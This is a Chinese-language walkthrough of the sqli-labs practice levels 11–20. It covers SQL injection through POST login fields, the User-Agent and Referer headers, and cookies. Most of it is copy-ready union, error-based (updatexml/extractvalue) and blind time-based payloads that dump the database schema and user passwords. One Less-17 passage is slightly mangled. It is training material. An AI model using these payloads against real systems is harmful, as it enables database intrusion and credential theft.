目录
Less-11 POST - Error Based - Single quotes- String (基于错误的POST型单引号字符型注入)
Less-11 POST - Error Based - Single quotes- String (基于错误的POST型单引号字符型注入)
登陆成功后页面是
GET是从服务器上获取数据,POST是向服务器传送数据。
从第十一关开始就是POST方式交互数据,也就是向服务器传送数据
uname='&passwd=1&submit=submit//返回的结果显示存在sql语法错误,证明存在注入漏洞
寻找闭合方式,先输入1' or 1=1#,登陆成功,闭合方式为单引号闭合
看有多少个字段,输入-1' order by 3#
发现有两个字段
-1' union select 1,database()#,查询数据库:security为数据库名
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()# ,查表
-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' # 查字段
-1' union select (select group_concat(username) from users), (select group_concat(password) from users)# 查所有用户名密码
Less-12 基于错误POST请求双引号字符型注入
为")闭合,剩下步骤和Less-11一样
Less-13 基于POST请求单引号字符型双注入
闭合方式')时报错,没有回显
可以使用报错注入
admin') and (updatexml(1,concat(0x7e,(select database()),0x7e),1))# #查询数据库
admin') and (updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1))# #爆表
admin') and (updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1))# #爆字段
admin') and (updatexml(1,concat(0x7e,(select group_concat(username,password) from security.users),0x7e),1))# 爆字段内容
Less-14 基于POST请求单引号字符型双注入
闭合方式为双引号,其余和Less-13类似
Less-15 基于POST请求单引号的布尔型和时间型盲注
uname=1' or 1=1 # 可以成功登陆
单引号闭合,时间延迟型注入
布尔型盲注
uname=admin' and 998=998 --+&passwd=admin&submit=Submit 登陆成功
uname=admin' and 998=999 --+&passwd=admin&submit=Submit 登陆失败
时间延时盲注
uname=admin' and sleep(8) --+&passwd=shit&submit=Submit 如果延时执行8秒,说明执行成功
爆库
uname=admin' and if(length(database())=8,sleep(8),1)--+&passwd=shit&submit=Submit
uname=admin' and if(left(database(),1)='s',sleep(8),1)--+&passwd=shit&submit=Submit
爆表
uname=admin' and if(left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(8),1)--+&passwd=shit&submit=Submit
爆字段
uname=admin' and if(left((select column_name from information_schema.columns where table_name='users' limit 2,1),8)='password' ,sleep(8),1)--+&passwd=shit&submit=Submit
爆字段信息
uname=admin' and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(8),1)--+&passwd=shit&submit=Submit
Less-16 基于POST请求双引号的布尔型和时间型盲注
为 ") 型注入,没有回显使用延迟型注入,把单引号改成") ,其余与less15一样
Less-17 基于POST请求显错更新查询注入
在username处输入时仅有显示图片发生变化,但是在password处输入时会显示报错信息
单引号闭合
对uname进行了过滤,但是没有对password进行过滤
在网上查到:
PHP 对所有的 GET、POST 和 COOKIE 数据自动运行 addslashes()。所以不应对已转义过的字符串使用 addslashes(),因为这样会导致双层转义。遇到这种情况时可 以使用函数 get_magic_quotes_gpc() 进行检测。
get_magic_quotes_gpc()
当magic_quotes_gpc=On的时候,函数get_magic_quotes_gpc()就会返回1
当magic_quotes_gpc=Off的时候,函数get_magic_quotes_gpc()就会返回0
magic_quotes_gpc函数在php中的作用是判断解析用户提示的数据
在magic_quotes_gpc = On的情况下,如果输入的数据有
单引号(')引号(")、反斜线(\)与 NULL(NULL)等字符都会被加上反斜线。
stripslashes()删除由 addslashes() 函数添加的反斜杠
ctype_digit()判断是不是数字,是数字就返回true,否则返回false
mysql_real_escape_string()转义 SQL 语句中使用的字符串中的特殊字符。
intval() 整型转换
使用updatexml函数。
(·)。updatexml()函数是MySQL对xml文档数据进行查询和修改的xpath函数
(·)。updatexml(xml_target,xpath_expr,new_xml)
(·)。xml_target :原来的xml,也就是要替换的目标;
(·)。xpath_expr :xpath的表达式;
(·)。new_xml :替换后的xml;
(·)。这一段的意思就是,用new_xml把xml_target中包含xpath_expr的部分节点(包括xml_target)替换掉。
注入:1.爆数据库名:
a' or updatexml(1,concat('#',(select database())),1)#
2.爆表名:
' or updatexml(1,concat('#',(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)#
3.爆字段名:
' or updatexml(1,concat('#',(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security')),1)#
![在这里插入错误:查询数据时,并不能直接用简单的select concat(username)函数,这样会引起报错。
错误原因: 在同一个语句中,不能先查询表中的值再update这个表,可以先把查询出的值作为一个派生表,然后在这个派生表里面再次进行查询。
4.爆出所有用户和密码:
1.' or updatexml(1,concat('#',(select * from (select concat_ws
2.(' ',id,username,password) from users limit 0,1) a)),1)#
注://concat_ws()函数与concat()函数类似,只不过在每个数据间多了分隔符。
Less-18 基于错误的用户代理头部注入
$_SERVER['HTTP_CLIENT_IP'] 这个很少使用,不一定服务器都实现了。客户端可以伪造。
$_SERVER['HTTP_X_FORWARDED_FOR'],客户端可以伪造。
$_SERVER['REMOTE_ADDR'],客户端不能伪造。
所以这里的 IP 是无法被伪造的,这里只能通过修改User-Agent来进行注入
爆库
'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '
爆库
and extractvalue(1,concat(0x7e,(select database()))) and "&passwd=bmfx&submit=Submit
爆表
and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) and "&passwd=bmfx&submit=Submit
爆字段
and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) and "&passwd=bmfx&submit=Submit
爆字段值
and extractvalue(1,concat(0x7e,(select group_concat(username,'~',password) from users))) and "&passwd=bmfx&submit=Submit
联合查询注入
爆库
uname=bmfx") union select 1,database() --+&passwd=bmfx&submit=Submit
爆表
uname=bmfx") union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'--+&passwd=bmfx&submit=Submit
爆users表中的字段
uname=bmfx") union select 1,group_concat(column_name) from information_schema.columns where table_name='users'--+&passwd=bmfx&submit=Submit
爆数据
uname=bmfx") union select 1,(SELECT GROUP_CONCAT(username,password) FROM users) --+&passwd=bmfx&submit=Submit
Less-19 基于错误的头部Refer注入
数据库名 Referer:' or updatexml(1,concat('#',(database())),0),'')#
表名 Referer:' or updatexml(1,concat('#',(select group_concat(table_name) from information_schema.tables where table_schema='security')),0),'')#
列名 Referer:' or updatexml(1,concat('#',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),0),'')#
用户名密码 Referer:' or updatexml(1,concat('#',(select * from (select concat_ws('#',id,username,password) from users limit 0,1) a)),0),'')#
Less-20 基于错误的Cookie头注入
只有插入到cookie里面可以注入,将查询语句插入到cookie中
用burpsuite进行抓包,cookie注入
Cookie: uname=admin' and 998=999 union select 1,2,database()--+
报错注入(extractvalue)
爆库
uname=admin' and extractvalue(1,concat(0x7e,(select database()),0x7e)) --+
爆版本
uname=admin' and extractvalue(1,concat(0x7e,(select version()),0x7e)) --+
爆表
uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+
爆字段
uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+
爆字段值
uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(username,'~',password) from users))) --+